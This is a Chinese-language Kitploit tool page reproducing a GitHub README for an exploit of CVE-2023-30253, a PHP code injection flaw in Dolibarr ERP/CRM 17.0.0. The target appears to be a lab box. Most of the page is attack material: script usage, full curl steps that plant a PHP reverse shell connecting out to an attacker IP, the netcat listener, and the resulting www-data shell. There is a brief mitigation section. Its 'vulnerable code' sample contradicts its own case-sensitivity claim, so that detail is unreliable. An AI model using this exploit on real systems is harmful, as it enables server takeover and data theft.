Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-30253-exploit — CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE 通过 PHP 代码注入(教育性漏洞利用) | Kitploit
工具/GitHubGitHub/jeanback1/cve-2023-30253-exploit
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubjeanback1/cve-2023-30253-exploit

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE 通过 PHP 代码注入(教育性漏洞利用)

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 远程代码执行

Python 3.8+ License CVSS

针对 Dolibarr ERP/CRM v17.0.0 的 PHP 代码注入利用程序,允许通过 Website/CMS 模块以 www-data 用户身份获得 反向 shell。

⚠️ 仅限教育用途和授权审计。


📑 目录

  • 什么是 CVE-2023-30253?
  • 漏洞如何工作?
  • 影响
  • 此利用程序做什么?
  • 要求
  • 安装
  • 用法
  • 实际示例
  • 利用程序逐步说明
  • 缓解措施
  • 参考

🔍 什么是 CVE-2023-30253?

CVE-2023-30253 是 Dolibarr ERP/CRM 版本低于 17.0.1 中的一个 PHP 代码注入漏洞(CWE-94:代码生成控制不当)。

该漏洞由 Swascan(现为 Hacktivesecurity)团队于 2023 年 5 月发现并报告。漏洞存在于 Website/CMS 模块中,该模块允许经过身份验证的用户在 Dolibarr 内创建和管理网站。


⚙️ 漏洞如何工作?

Dolibarr 实现了一个过滤器,以防止用户在 Website 模块的页面内容中注入 PHP 代码。然而,此过滤器有一个 关键缺陷:它是 区分大小写的。

root@kitploit:~
// Dolibarr 17.0.0 中易受攻击的代码(简化)
if (preg_match('/<\?php/i', $content)) {
    // 仅阻塞小写的 "<?php"... 真的吗?
    die("检测到 PHP 代码!");
}

过滤器严格寻找小写字符串 <?php。但 PHP 允许 任何大小写组合 作为开始标签。这意味着:

利用程序使用 <?PHP(大写)绕过过滤器,但任何变体都有效。

此外,过滤器仅在 保存 内容时应用。在 提供 页面时,Dolibarr 将内容直接传递给 PHP 解释器而不进行额外清理,PHP 会执行任何带有 <? 开始标签的代码。


💥 影响

经过身份验证的攻击者可以:

  • 在服务器上 远程执行命令(RCE)
  • 访问 Dolibarr 数据库(客户、发票、用户)
  • 读取系统敏感文件(/etc/passwd、配置)
  • 将服务器用作内部攻击的跳板
  • 安装恶意软件、网页 shell 或持久后门

为何严重? Dolibarr 被用作企业 ERP/CRM。入侵可能暴露客户数据、财务信息、合同和内部凭证。


🛠️ 此利用程序做什么?

该利用程序自动完成 5 个步骤 的完整利用过程:

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                   CVE-2023-30253                       │
│                                                         │
│  1. 登录       → 在 Dolibarr 中验证身份                  │
│  2. 创建网站   → 创建一个空网站                          │
│  3. 创建页面   → 在网站中创建一个页面                     │
│  4. 注入 Shell → 注入 PHP 反向 shell                     │
│  5. 触发      → 执行 payload                             │
│                                                         │
│  结果:🎯 以 www-data 身份获得反向 shell                  │
└─────────────────────────────────────────────────────────┘

特点:

  • ✅ 自动处理反 CSRF 令牌
  • ✅ 使用 cookie 保持会话持久
  • ✅ 自动检测 pageid
  • ✅ 详细模式用于调试
  • ✅ 彩色输出(可禁用)
  • ✅ 通过 fsockopen + proc_open 实现反向 shell payload

📋 要求

  • Python 3.8+
  • requests
  • beautifulsoup4

或直接:

root@kitploit:~
pip install -r requirements.txt

📦 安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit

# 安装依赖
pip install -r requirements.txt

🚀 用法

root@kitploit:~
python exploit.py <target> <username> <password> <lhost> <lport> [选项]

位置参数:

选项:

选项描述
-v, --verbose显示详细的调试信息
--no-color禁用彩色输出
-h, --help显示帮助和示例

🎯 实际示例

终端 1 — 启动反向 shell 监听器

root@kitploit:~
nc -lvnp 4444

终端 2 — 执行利用程序

root@kitploit:~
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose

预期输出

root@kitploit:~
════════════════════════════════════════════════════════
 CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════

  目标:   http://crm.board.htb
  用户:   admin
  LHOST:  10.10.14.5
  LPORT:  4444
  站点 ID:  s3a1f2bc

──────────────────────────────────────────────────

[10:45:12] 步骤 1/5: 正在登录...
[10:45:12]   ✓ 会话已成功建立

[10:45:13] 步骤 2/5: 正在创建网站...
[10:45:13]   ✓ 网站 's3a1f2bc' 已创建

[10:45:13] 步骤 3/5: 正在页面中创建页面...
[10:45:13]   ✓ 页面已在网站内创建

[10:45:14] 步骤 4/5: 正在注入反向 shell → 10.10.14.5:4444...
[10:45:14]   ✓ PHP 代码已成功注入

[10:45:14] 步骤 5/5: 正在执行 payload(触发)...

════════════════════════════════════════════════════════
  利用完成
════════════════════════════════════════════════════════

  触发 URL:
  http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc

  说明:
  1. 在另一个终端中,启动监听器:
     nc -lvnp 4444
  2. 访问触发 URL(利用程序已自动执行)
  3. 你将收到以 www-data 用户身份的反向 shell

终端 1 — 获取 shell 🎯

root@kitploit:~
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

🔬 利用程序逐步说明

如果你希望手动理解该过程(不使用脚本),以下是完整流程:

1. 身份验证

root@kitploit:~
# 获取 cookie 和 CSRF 令牌
curl -c cookies.txt http://crm.board.htb/ > /dev/null

# 提取令牌
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

# 登录
curl -b cookies.txt -c cookies.txt \
  -X POST "http://crm.board.htb/index.php?mainmenu=home" \
  -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"

2. 创建网站

root@kitploit:~
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?action=createsite" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"

⚠️ 经验教训: 正确的 action 参数是 addsite,而非一些公开利用程序中出现的 add。

3. 创建页面

root@kitploit:~
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"

4. 注入 PHP 代码

root@kitploit:~
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "action=updatesource" \
  --data-urlencode "website=misitio" \
  --data-urlencode "PAGE_CONTENT=$PHP"

🔑 攻击关键: 正确的字段是 PAGE_CONTENT,而非 WEBSITE_CONTENT。许多公开的 PoC 存在此错误。

5. 执行 payload

root@kitploit:~
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"

🛡️ 缓解措施

为了保护 Dolibarr 服务器免受此漏洞攻击:

更新(推荐)

root@kitploit:~
# 升级到 Dolibarr 17.0.1 或更高版本
# 补丁修复了过滤器,使其能检测任何 `<?php` 变体

禁用 Website 模块

如果你不使用 Website/CMS 模块,请从以下路径禁用它:

root@kitploit:~
首页 → 设置 → 模块 → Website → 禁用

WAF 规则(mod_security)

root@kitploit:~
# 阻止 PAGE_CONTENT 字段中任何 PHP 标签变体
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
  "id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP 注入被阻止'"

最小权限原则

  • 不要将管理员账户用于日常用户
  • 限制对 Website 模块的访问权限

📚 参考

  • NVD — CVE-2023-30253
  • Swascan 建议 — Dolibarr 17.0.0 分析
  • Dolibarr GitHub — 补丁提交
  • CWE-94: 代码注入
  • Hacktivesecurity — 原始报告

📝 免责声明

本项目创建的目的是 教育以及网络安全研究。未经明确授权对系统使用此利用程序是非法的,且在道德上应受谴责。

作为一名网络安全专业人士,我坚定支持:

  • 漏洞的负责任披露
  • 经过授权的道德黑客行为
  • 分享知识以提高集体安全水平

由 Jean Carlos 创建
网络安全学生 | 渗透测试 | CTF 玩家
CVE-2021-3560 • CVE-2023-27163 • CVE-2024-46986 • CVE-2025-2304

下载工具
字段值
CVECVE-2023-30253
CVSS v3.18.8(高)
向量AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
类型CWE-94 — 代码注入
受影响软件Dolibarr ERP/CRM < 17.0.1
权限经过身份验证的用户(任何角色)
补丁Dolibarr 17.0.1 — 提交 4f6055c
标签是否被过滤?PHP 是否执行?
<?php ... ?>✅✅
<?PHP ... ?>❌✅
<?Php ... ?>❌✅
<?pHp ... ?>❌✅
参数描述示例
targetDolibarr 的基础 URLhttp://crm.board.htb
usernameDolibarr 用户名admin
passwordDolibarr 密码admin
lhost你的 IP(接收 shell 的地址)10.10.14.5
lport你的端口(接收 shell 的端口)4444